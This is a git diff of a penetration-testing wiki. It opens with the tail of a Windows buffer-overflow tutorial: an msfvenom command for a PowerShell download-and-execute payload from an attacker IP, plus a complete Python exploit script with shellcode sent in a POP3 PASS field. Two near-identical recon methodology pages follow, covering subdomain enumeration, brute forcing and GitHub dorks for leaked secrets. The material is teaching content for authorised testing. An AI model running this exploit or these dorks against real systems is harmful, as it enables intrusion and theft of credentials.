+msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
+```
+
+If the exploit is not working but it should \(you can see with ImDebg that the shellcode is reached\), try to create other shellcodes \(msfvenom with create different shellcodes for the same parameters\).
+
+**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
+
+```bash
+#!/usr/bin/python
+
+import socket
+
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ip = '10.11.25.153'
+port = 110
+
+shellcode = (
+"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
+"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
+"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
+"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
+"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
+"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
+"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
+"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
+"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
+"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
+"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
+"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
+"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
+"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
+"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
+"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
+"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
+"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
+"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
+"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
+"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
+"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
+"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
+"\x2d\xb8\x63\xe2\x4e\xe9"
+)
+
+buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
+try:
+    print "\nLaunching exploit..."
+    s.connect((ip, port))
+    data = s.recv(1024)
+    s.send('USER username' +'\r\n')
+    data = s.recv(1024)
+    s.send('PASS ' + buffer + '\r\n')
+    print "\nFinished!."
+except:
+    print "Could not connect to "+ip+":"+port
+```
+
+{% hint style="warning" %}
+There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
+{% endhint %}
+
+## Improving the shellcode
+
+Add this parameters:
+
+```text
+EXITFUNC=thread -e x86/shikata_ga_nai
+```
+
diff --git a/external-recon-methodology.md b/external-recon-methodology.md
new file mode 100644
index 00000000000..a89f6583eec
--- /dev/null
+++ b/external-recon-methodology.md
@@ -0,0 +1,365 @@
+# External Recon Methodology
+
+{% hint style="danger" %}
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?  
+[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+{% endhint %}
+
+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
+## Assets discoveries
+
+> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns.
+
+The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to:
+
+1. Find the acquisitions of the main company, this will give us the companies inside the scope.
+2. Find the ASN \(if any\) of each company, this will give us the IP ranges owned by each company
+3. Use reverse whois lookups to search for other entries \(organisation names, domains...\) related to the first one \(this can be done recursively\)
+4. Use other techniques like shodan `org`and `ssl`filters to search for other assets \(the `ssl` trick can be done recursively\).
+
+### Acquisitions
+
+First of all, we need to know which **other companies are owned by the main company**.  
+One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com/), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.  
+Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**.
+
+> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets.
+
+### ASNs
+
+An autonomous system number \(**ASN**\) is a **unique number** assigned to an **autonomous system** \(AS\) by the **Internet Assigned Numbers Authority \(IANA\)**.  
+An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators.
+
+It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.  
+**\*\*You can search by** company name**, by** IP **or by** domain **in** [**https://bgp.he.net/**](https://bgp.he.net/)**.  
+Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net/) **\(Africa\),** [**Arin**](https://www.arin.net/about/welcome/region/)**\(North America\),** [**APNIC**](https://www.apnic.net/) **\(Asia\),** [**LACNIC**](https://www.lacnic.net/) **\(Latin America\),** [**RIPE NCC**](https://www.ripe.net/) **\(Europe\). Anyway, probably all the** useful information **\(IP ranges and Whois\)** appears already in the first link\*\*.
+
+```bash
+#You can try "automate" this with amass, but it's not very recommended
+amass intel -org tesla
+amass intel -asn 8911,50313,394161
+```
+
+You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com/) \(it has free API\).  
+You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com/).
+
+### Looking for vulnerabilities
+
+At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** \(Nessus, OpenVAS\) over all the hosts.  
+Also, you could launch some [**port scans**](pentesting/pentesting-network/#discovering-hosts-from-the-outside) **\*\*or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible service running**.  
+Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce\*\* services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+
+## Domains
+
+> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope.
+
+_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._
+
+First of all you should look for the **main domain**\(s\) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_.
+
+### Reverse DNS
+
+As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server \(1.1.1.1, 8.8.8.8\)
+
+```bash
+dnsrecon -r <DNS Range> -n <IP_DNS>   #DNS reverse of all of the addresses
+dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
+dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
+dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
+```
+
+For this to work, the administrator has to enable manually the PTR.  
+You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com/)
+
+### Reverse Whois \(loop\)
+
+Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** \(for example other whois registries where the same email appears\).  
+You can use online tools like:
+
+* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free**
+* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois)  - **Free**
+* [https://www.reversewhois.io/](https://www.reversewhois.io/)  - **Free**
+* \*\*\*\*[https://www.whoxy.com/](https://www.whoxy.com/) - **Free** web, not free API.
+* \*\*\*\*[http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com/) - Not free
+* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free \(only **100 free** searches\)
+* [https://www.domainiq.com/](https://www.domainiq.com/) - Not Free
+
+You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)\(requires a whoxy API key\).  
+You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
+
+**Note that you can use this technique to discover more domain names every time you find a new domain.**
+
+### Trackers
+
+If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.  
+For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
+
+There are some pages that let you search by these trackers and more:
+
+* [**BuiltWith**](https://builtwith.com/)\*\*\*\*
+* \*\*\*\*[**Sitesleuth**](https://www.sitesleuth.io/)\*\*\*\*
+* \*\*\*\*[**Publicwww**](https://publicwww.com/)\*\*\*\*
+* \*\*\*\*[**SpyOnWeb**](http://spyonweb.com/)\*\*\*\*
+
+### **Favicon**
+
+Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it:
+
+```bash
+cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
+python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
+```
+
+![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
+
+Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target.
+
+### Other ways
+
+**Note that you can use this technique to discover more domain names every time you find a new domain.**
+
+#### Shodan
+
+As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
+
+You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"`
+
+#### Google
+
+Go to the main page an find something that identifies the company, like the copyright \("Tesla © 2020"\). Search for that in google or other browsers to find possible new domains/pages.
+
+#### Assetfinder
+
+[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing.
+
+### Looking for vulnerabilities
+
+Check for some [domain takeover](pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it \(if cheap enough\) and let know the company.
+
+If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** \(using Nessus or OpenVAS\) and some [**port scan**](pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.  
+_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
+
+## Subdomains
+
+> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
+
+It's time to find all the possible subdomains of each found domain.
+
+### DNS
+
+Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** \(If vulnerable, you should report it\).
+
+```bash
+dnsrecon -a -d tesla.com
+```
+
+### OSINT
+
+The fastest way to obtain a lot of subdomains is search in external sources. I'm not going to discuss which sources are the bests and how to use them, but you can find here several utilities: [https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html)
+
+A really good place to search for subdomains is [https://crt.sh/](https://crt.sh/).
+
+The most used tools are [**Amass**](https://github.com/OWASP/Amass)**,** [**subfinder**](https://github.com/projectdiscovery/subfinder)**,** [**findomain**](https://github.com/Edu4rdSHL/findomain/)**,** [**OneForAll**](https://github.com/shmilylty/OneForAll/blob/master/README.en.md)**,** [**assetfinder**](https://github.com/tomnomnom/assetfinder)**,** [**Sudomy**](https://github.com/Screetsec/Sudomy)**.** I would recommend to start using them configuring the API keys, and then start testing other tools or possibilities.
+
+```bash
+amass enum [-active] [-ip] -d tesla.com
+./subfinder-linux-amd64 -d tesla.com [-silent]
+./findomain-linux -t tesla.com [--quiet]
+python3 oneforall.py --target tesla.com [--dns False] [--req False] run
+assetfinder --subs-only <domain>
+```
+
+Another possibly interesting tool is [**gau**](https://github.com/lc/gau)**.** It fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain.
+
+#### [chaos.projectdiscovery.io](https://chaos.projectdiscovery.io/#/)
+
+This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
+
+You could also find subdomains scrapping the web pages and parsing them \(including JS files\) searching for subdomains using [SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer) or [subscraper](https://github.com/Cillian-Collins/subscraper).
+
+#### RapidDNS
+
+Quickly find subdomains using [RapidDNS](https://rapiddns.io/) API \(from [link](https://twitter.com/Verry__D/status/1282293265597779968)\):
+
+```text
+rapiddns(){
+curl -s "https://rapiddns.io/subdomain/$1?full=1" \
+ | grep -oP '_blank">\K[^<]*' \
+ | grep -v http \
+ | sort -u
+}
+```
+
+#### Shodan
+
+You found **dev-int.bigcompanycdn.com**, make a Shodan query like the following:
+
+* http.html:”dev-int.bigcompanycdn.com”
+* http.html:”[https://dev-int-bigcompanycdn.com”](https://dev-int-bigcompanycdn.com”)
+
+### DNS Brute force
+
+Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names.  
+The most recommended tools for this are [**massdns**](https://github.com/blechschmidt/massdns)**,** [**gobuster**](https://github.com/OJ/gobuster)**,** [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) **and** [**shuffledns**](https://github.com/projectdiscovery/shuffledns). The first one is faster but more prone to errors \(you should always check for **false positives**\) and the second one **is more reliable** \(always use gobuster\).
+
+For this action you will need some common subdomains lists like:
+
+* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
+* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
+
+{% code title="Gobuster bruteforcing dns" %}
+```bash
+gobuster dns -d mysite.com -t 50 -w subdomains.txt
+```
+{% endcode %}
+
+For **massdns** you will need to pass as argument the file will all the **possible well formed subdomains** you want to bruteforce and list of DNS resolvers to use. Some projects that use massdns as base and provides better results by checking massdns results are [**shuffledns**](https://github.com/projectdiscovery/shuffledns) **and** [**puredns**](https://github.com/d3mondev/puredns)**.**
+
+```bash
+sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
+./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
+grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
+
+shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
+puredns bruteforce all.txt domain.com
+```
+
+Note how these tools require a **list of IPs of public DNSs**. If these public DNSs are malfunctioning \(DNS poisoning for example\) you will get bad results. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them.
+
+### VHosts
+
+#### IP VHosts
+
+You can find some VHosts in IPs using [HostHunter](https://github.com/SpiderLabs/HostHunter)
+
+#### Brute Force
+
+If you suspect that some subdomain can be hidden in a web server you could try to brute force it:
+
+```bash
+gobuster vhost -u https://mysite.com -t 50 -w subdomains.txt
+
+wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u http://example.com -t 100
+
+#From https://github.com/allyshka/vhostbrute
+vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com" --vhosts="vhosts_full.list"
+```
+
+{% hint style="info" %}
+With this technique you may even be able to access internal/hidden endpoints.
+{% endhint %}
+
+### CORS Brute Force
+
+Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behavior to **discover** new **subdomains**.
+
+```bash
+ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
+```
+
+### DNS Brute Force v2
+
+Once you have finished looking for subdomains you can use [**dnsgen** ](https://github.com/ProjectAnte/dnsgen)and [**altdns**](https://github.com/infosec-au/altdns) to generate possible permutations of the discovered subdomains and use again **massdns** and **gobuster** to search new domains.
+
+### Buckets Brute Force
+
+While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](pentesting/pentesting-web/buckets/)**.**  
+Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](pentesting/pentesting-web/buckets/).
+
+### Monitorization
+
+You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does.
+
+### Looking for vulnerabilities
+
+Check for possible [**subdomain takeovers**](pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).  
+If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](pentesting/pentesting-web/buckets/).
+
+If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** \(using Nessus or OpenVAS\) and some [**port scan**](pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.  
+_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
+
+## Web servers hunting
+
+> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers.
+
+In the previous steps probably you have already perform some **recon to the IPs and domains discovered**, so you may **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope.
+
+Please, note that this will be **oriented to search for web apps**, you should **perform the vulnerability** and **port scanning** also \(**if allowed** by the scope\).
+
+A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](pentesting/pentesting-network/#http-port-discovery).  
+Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe) **and** [**fprobe**](https://github.com/theblackturtle/fprobe). You just pass a list of domains and it will try to connect to port 80 \(http\) and 443 \(https\). You can additional indicate to try other ports:
+
+```bash
+cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
+cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
+```
+
+### Screenshots
+
+Now that you have discovered **all the web servers** running in the scope \(in **IPs** of the company and all the **domains** and **subdomains**\) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just **taking a look** to the **main page** of all of them you could find **weird** endpoints more **prone** to be **vulnerable**.
+
+To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), **\*\*\[**Aquatone**\]\(**[https://github.com/michenriksen/aquatone](https://github.com/michenriksen/aquatone)**\)**, **\[**shutter**\]\(**[https://shutter-project.org/downloads/](https://shutter-project.org/downloads/)**\) \*\***or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
+
+## Recapitulation 1
+
+> Congratulations! At this point you have already perform all the basic enumeration. Yes, it's basic because a lot more enumeration can be done \(will see more tricks later\).  
+> Do you know that the BBs experts recommends to spend only 10-15mins in this phase? But don't worry, one you have practice you will do this even faster than that.
+
+So you have already:
+
+1. Found all the **companies** inside the scope
+2. Found all the **assets** belonging to the companies \(and perform some vuln scan if in scope\)
+3. Found all the **domains** belonging to the companies
+4. Found all the **subdomains** of the domains \(any subdomain takeover?\)
+5. Found all the **web servers** and took a **screenshot** of them \(anything weird worth a deeper look?\)
+
+Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not going to talk about how to scan hosts** \(you can see a [guide for that here](pentesting/pentesting-network/)\), how to use tools like Nessus or OpenVas to perform a **vuln scan** or how to **look for vulnerabilities** in the services open \(this book already contains tons of information about possible vulnerabilities on a lot of common services\). **But, don't forget that if the scope allows it, you should give it a try.**
+
+## **Bug hunting OSINT related information**
+
+Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits.
+
+### Api keys leaks in github
+
+* [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber)
+* [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
+* [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks)
+* [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
+* [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
+* [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
+* [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
+* [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog)
+* [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker)
+
+**Dorks**: _AWS\_SECRET\_ACCESS\_KEY, API KEY, API SECRET, API TOKEN… ROOT PASSWORD, ADMIN PASSWORD, COMPANYNAME SECRET, COMPANYNAME ROOT, GCP SECRET, AWS SECRET, “username password” extension:sql, “private” extension:pgp..._
+
+#### More Github Dorks
+
+* extension:pem private
+* extension:ppk private
+* extension:sql mysql dump password
+* extension:json api.forecast.io
+* extension:json mongolab.com
+* extension:yaml mongolab.com
+* extension:ica \[WFClient\] Password=
+* extension:avastlic “support.avast.com”
+* extension:js jsforce conn.login
+* extension:json googleusercontent client\_secret
+
+You can also search for leaked secrets in all open repository platforms using: [https://searchcode.com/?q=auth\_key](https://searchcode.com/?q=auth_key)
+
+## [**Pentesting Web Methodology**](pentesting/pentesting-web/)\*\*\*\*
+
+Anyway, the **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](pentesting/pentesting-web/).
+
+## Recapitulation 2
+
+> Congratulations! The testing has finished! I hope you have find some vulnerabilities.
+
+At this point you should have already read the Pentesting Web Methodology and applied it to the scope.  
+As you can see there is a lot of different vulnerabilities to search for.
+
+**If you have find any vulnerability thanks to this book, please reference the book in your write-up.**
+
diff --git a/external-recon-methodology/README.md b/external-recon-methodology/README.md
new file mode 100644
index 00000000000..6401842a6ae
--- /dev/null
+++ b/external-recon-methodology/README.md
@@ -0,0 +1,350 @@
+# External Recon Methodology
+
+{% hint style="danger" %}
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?  
+[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+{% endhint %}
+
+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
+## Assets discoveries
+
+> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns.
+
+The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to:
+
+1. Find the acquisitions of the main company, this will give us the companies inside the scope.
+2. Find the ASN \(if any\) of each company, this will give us the IP ranges owned by each company
+3. Use reverse whois lookups to search for other entries \(organisation names, domains...\) related to the first one \(this can be done recursively\)
+4. Use other techniques like shodan `org`and `ssl`filters to search for other assets \(the `ssl` trick can be done recursively\).
+
+### Acquisitions
+
+First of all, we need to know which **other companies are owned by the main company**.  
+One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com/), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.  
+Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**.
+
+> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets.
+
+### ASNs
+
+An autonomous system number \(**ASN**\) is a **unique number** assigned to an **autonomous system** \(AS\) by the **Internet Assigned Numbers Authority \(IANA\)**.  
+An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators.
+
+It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.  
+**You can search by** company name**, by** IP **or by** domain **in** [**https://bgp.he.net/**](https://bgp.he.net/)**.  
+Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net/) **\(Africa\),** [**Arin**](https://www.arin.net/about/welcome/region/)**\(North America\),** [**APNIC**](https://www.apnic.net/) **\(Asia\),** [**LACNIC**](https://www.lacnic.net/) **\(Latin America\),** [**RIPE NCC**](https://www.ripe.net/) **\(Europe\). Anyway, probably all the** useful information **\(IP ranges and Whois\)** appears already in the first link.
+
+```bash
+#You can try "automate" this with amass, but it's not very recommended
+amass intel -org tesla
+amass intel -asn 8911,50313,394161
+```
+
+You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com/) \(it has free API\).  
+You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com/).
+
+### Looking for vulnerabilities
+
+At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** \(Nessus, OpenVAS\) over all the hosts.  
+Also, you could launch some [**port scans**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible service running**.  
+Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+
+## Domains
+
+> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope.
+
+_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._
+
+First of all you should look for the **main domain**\(s\) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_.
+
+### Reverse DNS
+
+As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server \(1.1.1.1, 8.8.8.8\)
+
+```bash
+dnsrecon -r <DNS Range> -n <IP_DNS>   #DNS reverse of all of the addresses
+dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
+dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
+dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
+```
+
+For this to work, the administrator has to enable manually the PTR.  
+You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com/)
+
+### Reverse Whois \(loop\)
+
+Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** \(for example other whois registries where the same email appears\).  
+You can use online tools like:
+
+* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free**
+* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois)  - **Free**
+* [https://www.reversewhois.io/](https://www.reversewhois.io/)  - **Free**
+* [https://www.whoxy.com/](https://www.whoxy.com/) - **Free** web, not free API.
+* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com/) - Not free
+* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free \(only **100 free** searches\)
+* [https://www.domainiq.com/](https://www.domainiq.com/) - Not Free
+
+You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)\(requires a whoxy API key\).  
